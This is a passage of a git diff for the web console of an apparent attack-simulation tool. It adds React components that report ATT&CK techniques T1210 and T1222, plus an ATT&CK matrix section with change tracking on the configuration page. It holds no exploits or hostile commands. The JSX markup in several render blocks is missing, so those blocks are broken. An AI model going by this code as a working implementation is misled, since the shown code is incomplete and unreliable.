+ this.renderScannedServices(scanned_services) : ''}
+ {this.props.data.exploited_services.length > 0 ?
+ this.renderExploitedServices(this.props.data.exploited_services) : ''}
+
+ );
+ }
+}
+
+export default T1210;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
new file mode 100644
index 000000000..712512bcb
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js
@@ -0,0 +1,39 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachine, ScanStatus } from "./Helpers"
+
+
+class T1222 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getCommandColumns() {
+ return ([{
+ Header: "Permission modification commands",
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1222;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index bb369fa73..43dac797c 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -1,84 +1,137 @@
import React from 'react';
import Form from 'react-jsonschema-form';
-import {Col, Nav, NavItem} from 'react-bootstrap';
+import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
import fileDownload from 'js-file-download';
import AuthComponent from '../AuthComponent';
import { FilePond } from 'react-filepond';
import 'filepond/dist/filepond.min.css';
+import MatrixComponent from "../attack/MatrixComponent";
+
+const ATTACK_URL = '/api/attack';
+const CONFIG_URL = '/api/configuration/island';
class ConfigurePageComponent extends AuthComponent {
+
constructor(props) {
super(props);
this.PBAwindowsPond = null;
this.PBAlinuxPond = null;
- this.currentSection = 'basic';
+ this.currentSection = 'attack';
this.currentFormData = {};
- this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
- this.uiSchema = {
- behaviour: {
- custom_PBA_linux_cmd: {
- "ui:widget": "textarea",
- "ui:emptyValue": ""
- },
- PBA_linux_file: {
- "ui:widget": this.PBAlinux
- },
- custom_PBA_windows_cmd: {
- "ui:widget": "textarea",
- "ui:emptyValue": ""
- },
- PBA_windows_file: {
- "ui:widget": this.PBAwindows
- },
- PBA_linux_filename: {
- classNames: "linux-pba-file-info",
- "ui:emptyValue": ""
- },
- PBA_windows_filename: {
- classNames: "windows-pba-file-info",
- "ui:emptyValue": ""
- }
- }
- };
+ this.initialConfig = {};
+ this.initialAttackConfig = {};
+ this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
+ this.uiSchemas = this.getUiSchemas();
// set schema from server
this.state = {
schema: {},
configuration: {},
+ attackConfig: {},
lastAction: 'none',
sections: [],
- selectedSection: 'basic',
+ selectedSection: 'attack',
allMonkeysAreDead: true,
PBAwinFile: [],
- PBAlinuxFile: []
+ PBAlinuxFile: [],
+ showAttackAlert: false
};
}
- componentDidMount() {
- this.authFetch('/api/configuration/island')
- .then(res => res.json())
- .then(res => {
+ getUiSchemas(){
+ return ({
+ basic: {"ui:order": ["general", "credentials"]},
+ basic_network: {},
+ monkey: {
+ behaviour: {
+ custom_PBA_linux_cmd: {
+ "ui:widget": "textarea",
+ "ui:emptyValue": ""
+ },
+ PBA_linux_file: {
+ "ui:widget": this.PBAlinux
+ },
+ custom_PBA_windows_cmd: {
+ "ui:widget": "textarea",
+ "ui:emptyValue": ""
+ },
+ PBA_windows_file: {
+ "ui:widget": this.PBAwindows
+ },
+ PBA_linux_filename: {
+ classNames: "linux-pba-file-info",
+ "ui:emptyValue": ""
+ },
+ PBA_windows_filename: {
+ classNames: "windows-pba-file-info",
+ "ui:emptyValue": ""
+ }
+ }
+ },
+ cnc: {},
+ network: {},
+ exploits: {},
+ internal: {}
+ })
+ }
+
+ setInitialConfig(config) {
+ // Sets a reference to know if config was changed
+ this.initialConfig = JSON.parse(JSON.stringify(config));
+ }
+
+ setInitialAttackConfig(attackConfig) {
+ // Sets a reference to know if attack config was changed
+ this.initialAttackConfig = JSON.parse(JSON.stringify(attackConfig));
+ }
+
+ componentDidMount = () => {
+ let urls = [CONFIG_URL, ATTACK_URL];
+ Promise.all(urls.map(url => this.authFetch(url).then(res => res.json())))
+ .then(data => {
let sections = [];
+ let attackConfig = data[1];
+ let monkeyConfig = data[0];
+ this.setInitialConfig(monkeyConfig.configuration);
+ this.setInitialAttackConfig(attackConfig.configuration);
for (let sectionKey of this.sectionsOrder) {
- sections.push({key: sectionKey, title: res.schema.properties[sectionKey].title});
+ if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
+ else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
}
this.setState({
- schema: res.schema,
- configuration: res.configuration,
+ schema: monkeyConfig.schema,
+ configuration: monkeyConfig.configuration,
+ attackConfig: attackConfig.configuration,
sections: sections,
- selectedSection: 'basic'
+ selectedSection: 'attack'
})
});
this.updateMonkeysRunning();
- }
+ };
- onSubmit = ({formData}) => {
- this.currentFormData = formData;
- this.updateConfigSection();
- this.authFetch('/api/configuration/island',
+ updateConfig = () => {
+ this.authFetch(CONFIG_URL)
+ .then(res => res.json())
+ .then(data => {
+ this.setInitialConfig(data.configuration);
+ this.setState({configuration: data.configuration})
+ })
+ };
+
+ onSubmit = () => {
+ if (this.state.selectedSection === 'attack'){
+ this.matrixSubmit()
+ } else {
+ this.configSubmit()
+ }
+ };
+
+ matrixSubmit = () => {
+ // Submit attack matrix
+ this.authFetch(ATTACK_URL,
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
- body: JSON.stringify(this.state.configuration)
+ body: JSON.stringify(this.state.attackConfig)
})
.then(res => {
if (!res.ok)
@@ -87,6 +140,18 @@ class ConfigurePageComponent extends AuthComponent {
}
return res;
})
+ .then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
+ .then(this.updateConfig())
+ .then(this.setState({lastAction: 'saved'}))
+ .catch(error => {
+ this.setState({lastAction: 'invalid_configuration'});
+ });
+ };
+
+ configSubmit = () => {
+ // Submit monkey configuration
+ this.updateConfigSection();
+ this.sendConfig()
.then(res => res.json())
.then(res => {
this.setState({
@@ -94,6 +159,7 @@ class ConfigurePageComponent extends AuthComponent {
schema: res.schema,
configuration: res.configuration
});
+ this.setInitialConfig(res.configuration);
this.props.onStatusChange();
}).catch(error => {
console.log('bad configuration');
@@ -101,6 +167,32 @@ class ConfigurePageComponent extends AuthComponent {
});
};
+ // Alters attack configuration when user toggles technique
+ attackTechniqueChange = (technique, value, mapped=false) => {
+ // Change value in attack configuration
+ // Go trough each column in matrix, searching for technique
+ Object.entries(this.state.attackConfig).forEach(techType => {
+ if(techType[1].properties.hasOwnProperty(technique)){
+ let tempMatrix = this.state.attackConfig;
+ tempMatrix[techType[0]].properties[technique].value = value;
+ this.setState({attackConfig: tempMatrix});
+
+ // Toggle all mapped techniques
+ if (! mapped ){
+ // Loop trough each column and each row
+ Object.entries(this.state.attackConfig).forEach(otherType => {
+ Object.entries(otherType[1].properties).forEach(otherTech => {
+ // If this technique depends on a technique that was changed
+ if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
+ this.attackTechniqueChange(otherTech[0], value, true)
+ }
+ })
+ });
+ }
+ }
+ });
+ };
+
onChange = ({formData}) => {
this.currentFormData = formData;
};
@@ -111,10 +203,48 @@ class ConfigurePageComponent extends AuthComponent {
newConfig[this.currentSection] = this.currentFormData;
this.currentFormData = {};
}
- this.setState({configuration: newConfig});
+ this.setState({configuration: newConfig, lastAction: 'none'});
};
+ renderAttackAlertModal = () => {
+ return ( {this.setState({showAttackAlert: false})}}>
+
+ Warning
+
+ You have unsubmitted changes. Submit them before proceeding.
+
+
+
+
+
+ )
+ };
+
+ userChangedConfig(){
+ if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
+ if(Object.keys(this.currentFormData).length === 0 ||
+ JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
+ return false;
+ }
+ }
+ return true;
+ }
+
+ userChangedMatrix(){
+ return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
+ }
+
setSelectedSection = (key) => {
+ if ((key === 'attack' && this.userChangedConfig()) ||
+ (this.currentSection === 'attack' && this.userChangedMatrix())){
+ this.setState({showAttackAlert: true});
+ return;
+ }
this.updateConfigSection();
this.currentSection = key;
this.setState({
@@ -124,7 +254,7 @@ class ConfigurePageComponent extends AuthComponent {
resetConfig = () => {
this.removePBAfiles();
- this.authFetch('/api/configuration/island',
+ this.authFetch(CONFIG_URL,
{
method: 'POST',
headers: {'Content-Type': 'application/json'},
@@ -137,8 +267,17 @@ class ConfigurePageComponent extends AuthComponent {
schema: res.schema,
configuration: res.configuration
});
+ this.setInitialConfig(res.configuration);
this.props.onStatusChange();
});
+ this.authFetch(ATTACK_URL,{ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify('reset_attack_matrix')})
+ .then(res => res.json())
+ .then(res => {
+ this.setState({attackConfig: res.configuration});
+ this.setInitialAttackConfig(res.configuration);
+ })
};
removePBAfiles(){
@@ -156,14 +295,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
- onReadFile = (event) => {
+ setConfigOnImport = (event) => {
try {
this.setState({
configuration: JSON.parse(event.target.result),
- selectedSection: 'basic',
lastAction: 'import_success'
- });
- this.currentSection = 'basic';
+ }, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
this.currentFormData = {};
} catch(SyntaxError) {
this.setState({lastAction: 'import_failure'});
@@ -175,9 +312,29 @@ class ConfigurePageComponent extends AuthComponent {
fileDownload(JSON.stringify(this.state.configuration, null, 2), 'monkey.conf');
};
+ sendConfig() {
+ return (
+ this.authFetch('/api/configuration/island',
+ {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify(this.state.configuration)
+ })
+ .then(res => {
+ if (!res.ok)
+ {
+ throw Error()
+ }
+ return res;
+ }).catch(error => {
+ console.log('bad configuration');
+ this.setState({lastAction: 'invalid_configuration'});
+ }));
+ };
+
importConfig = (event) => {
let reader = new FileReader();
- reader.onload = this.onReadFile;
+ reader.onload = this.setConfigOnImport;
reader.readAsText(event.target.files[0]);
event.target.value = null;
};
@@ -251,13 +408,12 @@ class ConfigurePageComponent extends AuthComponent {
}
static getFullPBAfile(filename){
- let pbaFile = [{
+ return [{
source: filename,
options: {
type: 'limbo'
}
}];
- return pbaFile
}
static getMockPBAfile(mockFile){
@@ -271,39 +427,29 @@ class ConfigurePageComponent extends AuthComponent {
return pbaFile
}
- render() {
- let displayedSchema = {};
- if (this.state.schema.hasOwnProperty('properties')) {
- displayedSchema = this.state.schema['properties'][this.state.selectedSection];
- displayedSchema['definitions'] = this.state.schema['definitions'];
- }
- return (
-
- Monkey Configuration
-
- {
- this.state.selectedSection === 'basic_network' ?
-
-
- The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
- according to its range class.
-
- :
- }
- { this.state.selectedSection ?
-